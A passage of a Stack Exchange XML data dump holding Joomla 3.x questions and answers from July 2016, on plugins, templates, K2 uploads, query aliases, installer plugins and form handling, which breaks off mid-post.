  <row Id="17165" PostTypeId="2" ParentId="9476" CreationDate="2016-07-15T06:37:39.843" Score="0" Body="&lt;p&gt;Its Just short cut method in 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open Path in Joomla  plugins\authentication\cookie\cookie.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In function onUserAfterLogin($options),&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $user   = JFactory::getUser();&#xA;        $groups = $user-&amp;gt;get('groups');&#xA;&#xA;            if(in_array(10, $groups)) &#xA;            {&#xA;             $url = JRoute::_('index.php?option=com_students');&#xA;             $this-&amp;gt;app-&amp;gt;redirect($url);&#xA;            } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8696" LastActivityDate="2016-07-15T06:37:39.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17166" PostTypeId="2" ParentId="17163" CreationDate="2016-07-15T06:54:47.567" Score="5" Body="&lt;p&gt;I have to edit my answer, as I think I didn't get right what you are actually want initially.&lt;/p&gt;&#xA;&lt;p&gt;With all the 3 events you can do changes on the head. If you have other plugins that do the same, then you can re-order them.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;onAfterDispatch&lt;/li&gt;&#xA;&lt;li&gt;onBeforeRender&lt;/li&gt;&#xA;&lt;li&gt;onBeforeCompileHead&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;To edit the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; data:&lt;/h3&gt;&#xA;&lt;p&gt;The head is stored in the document object and you can access it and manipulate it easily:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;&#xA;$doc-&amp;gt;setTitle('My Title');&#xA;$doc-&amp;gt;setMetaData( 'tagname', 'tag content' );&#xA;$doc-&amp;gt;addCustomTag( '&amp;lt;!-- this is a comment --&amp;gt;'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;setMetaData( 'description', 'My Description' );&#xA;$doc-&amp;gt;addCustomTag( '&amp;lt;meta property=&amp;quot;og:title&amp;quot; content=&amp;quot;Custom og Title tag&amp;quot;&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can also get the full head data with :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$head = $doc-&amp;gt;getHeadData();&#xA;// echo '&amp;lt;pre&amp;gt;' . print_r($head, true) . '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;$head&lt;/code&gt; is the array of data destined for the &lt;strong&gt;&lt;code&gt;HTML &amp;lt;head&amp;gt;&lt;/code&gt;&lt;/strong&gt; section in array form.&lt;br /&gt;&#xA;This only returns the data added by the set Methods of the JDoc. It will not return data about files that have been linked directly from html in the template head.&lt;/p&gt;&#xA;&lt;p&gt;You can then set data to the &lt;code&gt;$head&lt;/code&gt; like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$head['metaTags']['standard']['keywords'] = 'keyword1, keyword2,...';&#xA;&#xA;$doc-&amp;gt;setHeadData($head);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-07-15T07:56:06.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17167" PostTypeId="1" AcceptedAnswerId="17174" CreationDate="2016-07-15T09:24:28.497" Score="1" ViewCount="323" Body="&lt;p&gt;For example let's take a custom made/edited offline.php:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it ok (I know it's possible, duh) to write HTML directly into offline.php? Or...&lt;/li&gt;&#xA;&lt;li&gt;.. do I make changes in the core files that are called within said .php file?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Right now, my offline.php is mostly PHP code and the backend little window in Custom Message under Site Settings is filled with HTML code but I'd &lt;em&gt;really&lt;/em&gt; prefer to have just HTML in the .php file. I have a few concirnes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;are there any security or other issues when doing this? IMO there shouldn't be since this is exactly how it's laid in HTML. Then again, HTML and PHP are worlds apart.&lt;/li&gt;&#xA;&lt;li&gt;although it's possible, we don't write CSS into .html files anymore because we have .css for that. So, HTML for content and CSS for styling... Is that the same reason why I shouldn't write HTML in .php files like offline.php, error.php and so on and on?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks for the feedback.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Ok, here's an example. This is the part in offline.php that calls the message and styling that I've inserted at the backend (Custom Message in File Settings):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&#xA;&amp;lt;?php if ($app-&amp;gt;get('display_offline_message', 1) == 1 &amp;amp;&amp;amp; str_replace(' ', '', $app-&amp;gt;get('offline_message')) != '') : ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php echo $app-&amp;gt;get('offline_message'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it's perfectly ok to just delete those lines and paste HTML code instead, then I'd prefer to use this option even though it's not just the message itself, it's also 20 lines of HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And while we're at it, let's take another example: main index.php. Is it ok then to delete, let's say, the line &lt;code&gt;&amp;lt;html lang=&quot;&amp;lt;?php echo $this-&amp;gt;language; ?&amp;gt;&quot; &amp;gt;&lt;/code&gt; and simply substitute it with &lt;code&gt;&amp;lt;html lang=&quot;en&quot; /&amp;gt;&lt;/code&gt; (since the website is only in one language)?&lt;/p&gt;&#xA;" OwnerUserId="8703" LastEditorUserId="8703" LastEditDate="2016-07-15T17:25:00.770" LastActivityDate="2016-07-15T17:25:00.770" Title="Joomla 3.x template creation: can I make changes in offline.php or within core files the said .php calls?" Tags="|php|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17168" PostTypeId="1" CreationDate="2016-07-15T09:59:31.290" Score="0" ViewCount="295" Body="&lt;p&gt;This never happneded to me before, I can't open the &quot;Browse Server&quot; box to search the image and upload. For some reason, I upload image from PC and when I save changes, it doesn't record the image uploaded. So, basically I'm not able to upload images from &quot;Browse Server&quot; neither uploading from PC. This only happens in K2 Categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In K2 Items I can upload via &quot;Browse Server&quot;, but can't upload from PC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried to find similar problems and couldn't find why I can't open &quot;Browse Server&quot; in K2 Categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 3.5 and K2 v2.7.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I can now upload images from PC after editing file 'category.php', replacing '===' by '=='. Although can't open dialog search from Server.&lt;/p&gt;&#xA;" OwnerUserId="3371" LastEditorUserId="3371" LastEditDate="2016-07-15T10:28:12.453" LastActivityDate="2024-03-13T05:07:45.927" Title="K2 Categories Upload Image" Tags="|k2|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17169" PostTypeId="2" ParentId="14443" CreationDate="2016-07-15T11:02:14.453" Score="1" Body="&lt;p&gt;In joomla we had the Joomla Registration and login plugins and modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you can use it.&#xA;it automatically generate the cookies also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use it. then you can get the good result.  &lt;/p&gt;&#xA;" OwnerUserId="8603" LastActivityDate="2016-07-15T11:02:14.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17170" PostTypeId="2" ParentId="16117" CreationDate="2016-07-15T11:11:34.750" Score="0" Body="&lt;p&gt;In Virtuemart. we had Currency converter modules.&#xA;if you use currency converter then you can had the option to number of countries currency to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that's good to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use it. then you can get the good result.&lt;/p&gt;&#xA;" OwnerUserId="8603" LastActivityDate="2016-07-15T11:11:34.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17172" PostTypeId="2" ParentId="4456" CreationDate="2016-07-15T11:19:21.860" Score="0" Body="&lt;p&gt;i understand you new to joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is easy to assign the modules to the different pages.&#xA;first go the modules and open it.&#xA;then go to the menu assignment.&#xA;then you can select the which page you want to show the module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that good to see...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a nice Day...&lt;/p&gt;&#xA;" OwnerUserId="8603" LastActivityDate="2016-07-15T11:19:21.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17173" PostTypeId="2" ParentId="17161" CreationDate="2016-07-15T12:55:25.477" Score="2" Body="&lt;p&gt;The extra fields are saved in json encoded format, so first you will need to have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$arrExtraFields = json_decode($extra_fields);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have that, you will need to loop through the array &lt;code&gt;$arrExtraFields&lt;/code&gt; and and then query the table &lt;code&gt;#__k2_extra_fields&lt;/code&gt; (e.g. &lt;code&gt;SELECT name FROM #__k2_extra_fields WHERE id='the-current-id'&lt;/code&gt;;) in order to get the name of the current extra field (by id).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-15T12:55:25.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17174" PostTypeId="2" ParentId="17167" CreationDate="2016-07-15T13:07:52.133" Score="0" Body="&lt;p&gt;If your &lt;code&gt;offline.php&lt;/code&gt; consists simply of a message in a very simple design, then just use HTML code inside it, do not even include core files, and do not include any PHP code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no security concerns in either of the methods that you have listed, but my logic is that there is no point in having the processor do any calculation if you don't need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offline pages typically have a few CSS styles, so you can just copy them directly into the &lt;code&gt;offline.php&lt;/code&gt; page (in the &lt;code&gt;&amp;lt;style...&lt;/code&gt; tags), instead of just including the CSS. There is no reason for adding another hit to the website for a simple offline page.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-15T13:07:52.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17175" PostTypeId="2" ParentId="17167" CreationDate="2016-07-15T13:08:03.957" Score="0" Body="&lt;p&gt;Pure and only html is for creating mark up for static content pages, php is a scripting language that will output data dynamically after processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking off the php from the page, you are removing the dynamic part and Joomla will be voided at this point.&lt;br&gt;&#xA;It's your choice how you want your pages work what to display. At the end when we are talking for webpages, the end result will be html to be rendered on the browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For security there is nothing involved by having only html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are still writing css inside html occasionally, it's not that it can't be used. There is also the option to add styles in the head part of the page and the 3rd option to load css from external files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3rd option is recommended way because of the advantages it offers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't compare it with mixing html with php. PHP is written for being used with html. After that there are so many practices and patterns about writing clean code and separating logic from display etc... all these are long topics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*the said php files is confusing me - not sure what you are talking about. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;** You shouldn't do changes directly on core files that you don't control, as those changes will be removed with a future update.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-07-15T13:15:37.877" LastActivityDate="2016-07-15T13:15:37.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17176" PostTypeId="2" ParentId="17168" CreationDate="2016-07-15T13:20:38.430" Score="0" Body="&lt;p&gt;Assuming you have cleared both your browser cache and your Joomla cache, I can think of 2 reasons causing this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have installed a system plugin lately that is causing a conflict. Uninstall the plugins that you have installed lately one by one.&lt;/li&gt;&#xA;&lt;li&gt;Your website is hacked.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Check the console in Google Chrome (press F12) to see which errors are being reported.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-15T13:20:38.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17178" PostTypeId="2" ParentId="17164" CreationDate="2016-07-15T15:44:17.763" Score="0" Body="&lt;p&gt;ZOO syntax is a bit different.  Check this out: &lt;a href=&quot;http://yootheme.com/zoo/documentation/developers/accessing-element-data&quot; rel=&quot;nofollow&quot;&gt;http://yootheme.com/zoo/documentation/developers/accessing-element-data&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-07-15T15:44:17.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17179" PostTypeId="1" AcceptedAnswerId="17220" CreationDate="2016-07-15T20:10:02.490" Score="2" ViewCount="1410" Body="&lt;p&gt;I managed to rewrite system plugin &quot;Language Manager&quot;, so now it saves texts for different languages to Database (DB). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I do not know how to rewrite JText (that is present across all the application code) so it takes text for each languages directly from the DB and not from the local files. &#xA;The same thing I need to do for &quot;Language Manager&quot; to take data from DB only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate your help! Thank you&lt;/p&gt;&#xA;" OwnerUserId="8688" LastEditorUserId="8688" LastEditDate="2016-07-15T20:48:30.513" LastActivityDate="2016-07-22T16:49:10.267" Title="How to rewrite JText to get my custom text translations from Database and not from files" Tags="|joomla-3.x|overrides|language|jtext|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17180" PostTypeId="1" AcceptedAnswerId="17181" CreationDate="2016-07-15T23:00:25.003" Score="1" ViewCount="43" Body="&lt;p&gt;I have this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select(array('a.id', 'a.alias', 'b.category_id', 'b.item_id', 'c.id', 'c.name', 'c.alias'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__zoo_category', 'a'))&#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__zoo_category_item', 'b') . ' ON (' . $db-&amp;gt;quoteName('a.id') . ' = ' . $db-&amp;gt;quoteName('b.category_id') . ')')&#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__zoo_item', 'c') . ' ON (' . $db-&amp;gt;quoteName('b.item_id') . ' = ' . $db-&amp;gt;quoteName('c.id') . ')')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('a.alias') . ' = \'chubut\'');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I'm recovering 2 alias: &lt;strong&gt;a.alias&lt;/strong&gt; and &lt;strong&gt;c.alias&lt;/strong&gt;.&#xA;I need the browser displays 2 alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I make a &lt;em&gt;echo&lt;/em&gt; to &lt;strong&gt;$value-&gt;alias&lt;/strong&gt;, the browser prints the c.alias, not the a.alias. Where is a.alias? How do I get it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query);&#xA;$resultado = $db-&amp;gt;loadObjectList();&#xA;&#xA;foreach ($resultado as $key =&amp;gt; $value) {&#xA;    echo &quot;alias: $value-&amp;gt;alias&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8699" LastActivityDate="2016-07-16T07:33:13.720" Title="How to recover the values of two columns with the same name?" Tags="|joomla-3.x|php|alias|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17181" PostTypeId="2" ParentId="17180" CreationDate="2016-07-16T07:33:13.720" Score="3" Body="&lt;p&gt;You can use &lt;code&gt;AS&lt;/code&gt; keyword.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select('a.id, a.alias AS cat_alias, b.category_id, b.item_id, c.id, c.name, c.alias AS item_alias')&#xA;&#xA;    ...&#xA;    ...&#xA;&#xA;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($resultado as $key =&amp;gt; $value) {&#xA;    echo &quot;alias: $value-&amp;gt;cat_alias&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Using &lt;code&gt;AS&lt;/code&gt; keyword is not mandatory, so you can omit it. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('a.id, a.alias cat_alias, c.alias item_alias');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2016-07-16T07:33:13.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17182" PostTypeId="2" ParentId="17179" CreationDate="2016-07-16T09:57:17.227" Score="1" Body="&lt;p&gt;I can´t give you a complete answer but maybe a couples of clues to help you solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JText class is located here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;libraries\joomla\language\text.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you can override the JText Class with your own and use DB instead of files in your version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And load it before the core one so It won't be loaded at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.informit.com/articles/article.aspx?p=1858258&amp;amp;seqNum=8&quot; rel=&quot;nofollow&quot;&gt;http://www.informit.com/articles/article.aspx?p=1858258&amp;amp;seqNum=8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-07-16T09:57:17.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17184" PostTypeId="1" CreationDate="2016-07-16T12:36:12.747" Score="5" ViewCount="1945" Body="&lt;p&gt;After updating to version 3.6.0, I wanted to install a new extension, but I got this warning message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No installation plugin has been enabled. At least one must be enabled to be able to use the installer. Go to the Plugin Manager to enable the plugins.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But there is no installer plugin in my plugin manager. How to solve the issue?&lt;/p&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2017-11-29T20:25:59.033" Title="After updating to Joomla 3.6.0, I cannot install a new extension" Tags="|joomla-3.6|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17185" PostTypeId="2" ParentId="17184" CreationDate="2016-07-16T12:36:12.747" Score="7" Body="&lt;p&gt;The steps are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;Extensions&lt;/code&gt; &gt; &lt;code&gt;Manage&lt;/code&gt; &gt; &lt;code&gt;Discover&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click on &lt;kbd&gt;Discover&lt;/kbd&gt; button. Now you can see 3 installer plugins:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Installer - Install from Folder&lt;/li&gt;&#xA;&lt;li&gt;Installer - Install from URL&lt;/li&gt;&#xA;&lt;li&gt;Installer - Install from Upload&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check all the checkboxes or at least &lt;code&gt;Installer - Install from Upload&lt;/code&gt; checkbox and then click on &lt;kbd&gt;Install&lt;/kbd&gt; button.&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;Extensions&lt;/code&gt; &gt; &lt;code&gt;Plugins&lt;/code&gt; and enable the Installer plugins.&lt;/li&gt;&#xA;&lt;li&gt;Now you can install extensions by going to &lt;code&gt;Extensions&lt;/code&gt; &gt; &lt;code&gt;Manage&lt;/code&gt; &gt; &lt;code&gt;Install&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uUHQ9.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uUHQ9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2016-07-18T11:08:54.207" LastActivityDate="2016-07-18T11:08:54.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17186" PostTypeId="1" CreationDate="2016-07-16T15:28:39.320" Score="2" ViewCount="105" Body="&lt;p&gt;During plugin installation, is it possible to set it to be always the last one in its group?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8272" LastActivityDate="2018-11-07T00:00:38.323" Title="Set plugin order when installing" Tags="|joomla-3.x|development|plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17191" PostTypeId="1" CreationDate="2016-07-17T18:07:36.177" Score="1" ViewCount="329" Body="&lt;p&gt;I was looking at the code of a Plugin for Joomla! CMS for a functionality I need: the possibility to run custom PHP scripts when a &lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;Joomla! Plugin/Events&lt;/a&gt; is fired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to learn the mechanism used by this plugin and the code looked to me a bit odd (I'm quite a novice in PHP, so I guess I'm missing something).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a snippet of the code for one of the above mentioned Events, the full plugin can be downloaded &lt;a href=&quot;http://joomla.impression-estudio.gr/add-custom-php/download.php&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onBeforeCompileHead()&#xA;{&#xA;    if (strcmp($this-&amp;gt;params-&amp;gt;get('onBeforeCompileHead_custom_php_file_path'),'')!=0)&#xA;    {&#xA;        $custom_php_file_path = JPATH_SITE.DS.$this-&amp;gt;params-&amp;gt;get('onBeforeCompileHead_custom_php_file_path');&#xA;        ob_start();&#xA;        include($custom_php_file_path);&#xA;        $php = ob_get_contents();&#xA;        eval($php);&#xA;        ob_end_clean();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't get why it has been used &lt;code&gt;ob_start&lt;/code&gt; to capture the &lt;code&gt;include&lt;/code&gt; content to then &lt;code&gt;eval&lt;/code&gt; it (btw isn't &lt;code&gt;eval&lt;/code&gt; &lt;em&gt;evil&lt;/em&gt;? or because there is no user input to eval it's &lt;em&gt;ok&lt;/em&gt; to use?). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried removing all that part, using isntead a simply &lt;code&gt;include&lt;/code&gt;&#xA;statement and it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="5650" LastEditorUserId="5650" LastEditDate="2016-07-17T22:36:58.807" LastActivityDate="2016-07-17T22:36:58.807" Title="Why use ob_start and eval instead of using a simple include in this Joomla Plugin?" Tags="|joomla-3.x|php|plugin|plugin-events|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17192" PostTypeId="1" CreationDate="2016-07-17T18:50:47.040" Score="0" ViewCount="113" Body="&lt;p&gt;Please do not flag my question without reading carefully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am building a site database of famous people. Each person's short biography is a joomla article. I want to embed the facebook and twitter stream of each person on their articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a lot of research and found many modules but i don't need modules, i want a plugin so that I can embed fb and twitter stream of the particular famous person on their articles (biography).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!!&lt;/p&gt;&#xA;" OwnerUserId="6970" LastActivityDate="2016-07-18T02:58:25.287" Title="How to Embed Facebook Page stream and Twitter Stream on Joomla Articles" Tags="|facebook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17193" PostTypeId="2" ParentId="3698" CreationDate="2016-07-17T20:52:34.387" Score="1" Body="&lt;p&gt;If you are looking for automatic packaging of multiple extensions into all-in-one install package (modules, components, templates, plugins, ... libraries), here is a form to generate such all-in-one package: &lt;a href=&quot;http://www.joomla-extensions-packager.org/online-packager&quot; rel=&quot;nofollow&quot;&gt;http://www.joomla-extensions-packager.org/online-packager&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is an open source PHP library powering the online form: &lt;a href=&quot;https://github.com/vikijel/joomla-extensions-packager&quot; rel=&quot;nofollow&quot;&gt;https://github.com/vikijel/joomla-extensions-packager&lt;/a&gt; if you want to create some scripts to generate packages yourself&lt;/p&gt;&#xA;" OwnerUserId="8712" LastActivityDate="2016-07-17T20:52:34.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17194" PostTypeId="2" ParentId="17192" CreationDate="2016-07-17T21:05:18.923" Score="1" Body="&lt;p&gt;You can simply use the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Content - Load Modules&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;plugin to load the module into an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the module settings, specify a custom position such as &lt;code&gt;myposition&lt;/code&gt; and insert the module into the article using the following syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{loadposition myposition}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35" LastEditorUserId="120" LastEditDate="2016-07-18T02:58:25.287" LastActivityDate="2016-07-18T02:58:25.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17195" PostTypeId="1" CreationDate="2016-07-18T07:41:09.097" Score="1" ViewCount="994" Body="&lt;p&gt;I am getting this error after upgrading my site to Joomla 3.6&lt;/p&gt;&#xA;&lt;p&gt;It worked for few minutes then I started getting this error.&#xA;and this error is coming in both admin and site side.&lt;/p&gt;&#xA;&lt;h1&gt;An error has occurred.&lt;/h1&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0 The file Cache Storage is not supported on this platform.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-07-18T08:13:29.960" Title="Error after upgrading the Joomla site to Joomla 3.6" Tags="|joomla-3.x|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17197" PostTypeId="2" ParentId="17195" CreationDate="2016-07-18T08:13:29.960" Score="2" Body="&lt;p&gt;change the cache and the administrator/cache folders permission so that it can be writable by your web server. &lt;/p&gt;&#xA;" OwnerUserId="8578" LastActivityDate="2016-07-18T08:13:29.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17198" PostTypeId="1" CreationDate="2016-07-18T08:58:45.697" Score="1" ViewCount="283" Body="&lt;p&gt;I'm having some problems with the action of an Ajax form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;var $j = jQuery.noConflict(); &#xA;&#xA;$j(document).ready(function() {&#xA;    $j(document).on('submit', '#submitNew', function() {  &#xA;        $j.post('http://www.winetube.eu/engine.php', $j(this).serialize()).done(function(data) {&#xA;            $j(&quot;#submitNew&quot;).fadeOut('slow', function() {&#xA;                $j(&quot;.result&quot;).fadeIn('slow');&#xA;            });&#xA;        }).fail(function() {&#xA;            alert('fail sending request');&#xA;        });&#xA;        return false;&#xA;    }); &#xA;&#xA;}); &#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I hit submit on the form, everything's fine so far, but nothing gets sent to my email address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the PHP for the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Recupero il valore dei campi del form&#xA;$destinatario = 'test@test.com';&#xA;$name = $_POST['name'];&#xA;$email = $_POST['email'];&#xA;$country 